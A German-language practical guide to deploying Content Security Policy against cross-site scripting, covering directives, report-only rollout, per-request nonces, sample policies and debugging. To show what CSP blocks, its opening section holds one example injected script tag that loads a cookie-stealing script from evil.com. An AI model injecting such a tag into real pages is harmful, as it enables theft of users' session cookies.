Content Security Policy (CSP): Der Praxisleitfaden
Die Content Security Policy ist der effektivste Header-basierte Schutz gegen Cross-Site-Scripting (XSS). Sie definiert, welche Ressourcen der Browser laden darf — und blockiert alles andere. Dieser Leitfaden zeigt, wie Sie CSP schrittweise einführen, ohne Ihre Website zu beschädigen.
Warum CSP?
Ohne CSP kann ein Angreifer, der eine XSS-Lücke findet, beliebige Scripts in Ihre Seite einschleusen:
<!-- Ohne CSP: Angreifer kann beliebiges Script laden -->
<script src="https://evil.com/steal-cookies.js"></script>
Mit CSP wird dieses Script blockiert, selbst wenn die XSS-Lücke existiert:
Content-Security-Policy: script-src 'self'
→ Browser blockiert Scripts von evil.com
Die wichtigsten Direktiven
Ressourcen-Direktiven
| Direktive | Kontrolliert | Beispiel |
|---|---|---|
| default-src | Fallback für alle Ressourcen | default-src 'self' |
| script-src | JavaScript | script-src 'self' https://cdn.example.com |
| style-src | CSS | style-src 'self' 'unsafe-inline' |
| img-src | Bilder | img-src 'self' data: https: |
| font-src | Schriften | font-src 'self' https://fonts.gstatic.com |
| connect-src | Fetch, XHR, WebSocket | connect-src 'self' https://api.example.com |
| media-src | Audio und Video | media-src 'self' |
| frame-src | iframes | frame-src https://www.youtube-nocookie.com |
| object-src | Flash, Java, ActiveX | object-src 'none' |
| base-uri | <base> Element | base-uri 'self' |
Navigations-Direktiven
| Direktive | Kontrolliert |
|---|---|
| frame-ancestors | Wer darf Ihre Seite einbetten (ersetzt X-Frame-Options) |
| form-action | Wohin Formulare gesendet werden dürfen |
| navigate-to | Wohin die Seite navigieren darf |
Quellwerte
| Wert | Bedeutung |
|---|---|
| 'self' | Eigene Domain |
| 'none' | Nichts erlaubt |
| 'unsafe-inline' | Inline-Scripts/Styles (unsicher, vermeiden) |
| 'unsafe-eval' | Dynamische Code-Ausführung (unsicher, vermeiden) |
| https: | Jede HTTPS-Quelle |
| data: | Data-URIs (für inline Bilder) |
| 'nonce-abc123' | Spezifisches Nonce-Token |
| 'strict-dynamic' | Vertrauenskette: von vertrautem Script geladene Scripts erlaubt |
Schrittweise Einführung
Phase 1: Report-Only-Modus
Starten Sie im Beobachtungsmodus — CSP meldet Verstöße, blockiert aber nicht:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Analysieren Sie die Berichte für 1–2 Wochen:
- Welche externen Ressourcen werden geladen?
- Welche Inline-Scripts und -Styles existieren?
- Welche Drittanbieter-Scripts sind im Einsatz?
Phase 2: Basis-Policy
Erstellen Sie eine Policy basierend auf Ihren Erkenntnissen:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://www.google-analytics.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none'
Phase 3: Verschärfung
Schrittweise unsichere Werte ersetzen:
unsafe-inlinefür Scripts eliminieren — Nonces oder Hashes verwendenunsafe-inlinefür Styles minimieren — Externe Stylesheets bevorzugen- Wildcard-Domains einschränken — Spezifische Hosts statt
https:
Nonces: Inline-Scripts sicher machen
Statt 'unsafe-inline' können Sie Nonces verwenden — einmalige Token, die pro Request generiert werden:
Server-seitig (Node.js/Express Beispiel)
import crypto from 'crypto'
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64')
res.locals.nonce = nonce
res.setHeader(
'Content-Security-Policy',
`script-src 'self' 'nonce-${nonce}'`
)
next()
})
Im HTML
<script nonce="abc123base64...">
// Dieses Script wird erlaubt
console.log('Legitimate script')
</script>
Wichtig: Das Nonce muss bei jedem Request neu generiert werden. Ein statisches Nonce bietet keinen Schutz.
CSP für gängige Szenarien
WordPress-Website
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' data:;
connect-src 'self';
frame-src 'self' https://www.youtube-nocookie.com;
frame-ancestors 'none'
Hinweis: WordPress und viele Plugins benötigen leider
'unsafe-inline'und teils'unsafe-eval'. Dies ist ein bekannter Kompromiss.
Single-Page-Application (React/Next.js)
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob: https:;
font-src 'self';
connect-src 'self' https://api.ihredomain.de;
frame-ancestors 'none';
base-uri 'self'
E-Commerce mit Zahlungsanbietern
Content-Security-Policy:
default-src 'self';
script-src 'self' https://js.stripe.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
frame-src https://js.stripe.com https://hooks.stripe.com;
connect-src 'self' https://api.stripe.com;
frame-ancestors 'none'
Debugging mit Browser DevTools
Chrome/Edge
- Öffnen Sie die DevTools (F12)
- Tab Konsole — CSP-Verstöße erscheinen als Fehler in Rot
- Tab Netzwerk — Blockierte Requests zeigen
(blocked:csp)
Typische Fehlermeldungen
Refused to load the script 'https://cdn.example.com/script.js'
because it violates the following Content Security Policy directive:
"script-src 'self'"
Lösung: https://cdn.example.com zu script-src hinzufügen.
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'"
Lösung: Nonce verwenden oder Script in externe Datei auslagern.
Häufige Fehler
| Fehler | Problem | Lösung |
|---|---|---|
| Kein default-src | Nicht abgedeckte Ressourcentypen sind ungeschützt | Immer default-src 'self' als Basis |
| script-src 'self' * | Wildcard erlaubt Scripts von überall | Spezifische Domains listen |
| object-src vergessen | Flash/Plugin-basierte Angriffe möglich | object-src 'none' setzen |
| CSP nur auf Hauptseite | API und Subdomains ungeschützt | Server-weit konfigurieren |
| Nonce im Cache | Statisches Nonce bietet keinen Schutz | Nonce pro Request generieren |
CSP-Level und Browser-Unterstützung
| Feature | Chrome | Firefox | Safari | Edge |
|---|---|---|---|---|
| CSP Level 2 | Seit 40 | Seit 31 | Seit 10 | Seit 15 |
| CSP Level 3 (Nonces) | Seit 59 | Seit 58 | Seit 15.4 | Seit 79 |
| strict-dynamic | Seit 52 | Seit 52 | Seit 15.4 | Seit 79 |
Fazit
CSP ist der wirksamste Header-basierte Schutz gegen XSS — aber er erfordert sorgfältige Konfiguration. Starten Sie im Report-Only-Modus, analysieren Sie Ihre Abhängigkeiten und verschärfen Sie die Policy schrittweise. Der Aufwand lohnt sich: Eine gute CSP macht XSS-Angriffe wirkungslos.
Scannen Sie Ihre Website kostenlos mit WarDek — OWASP, NIS2, DSGVO, AI Act Compliance in einem Scan.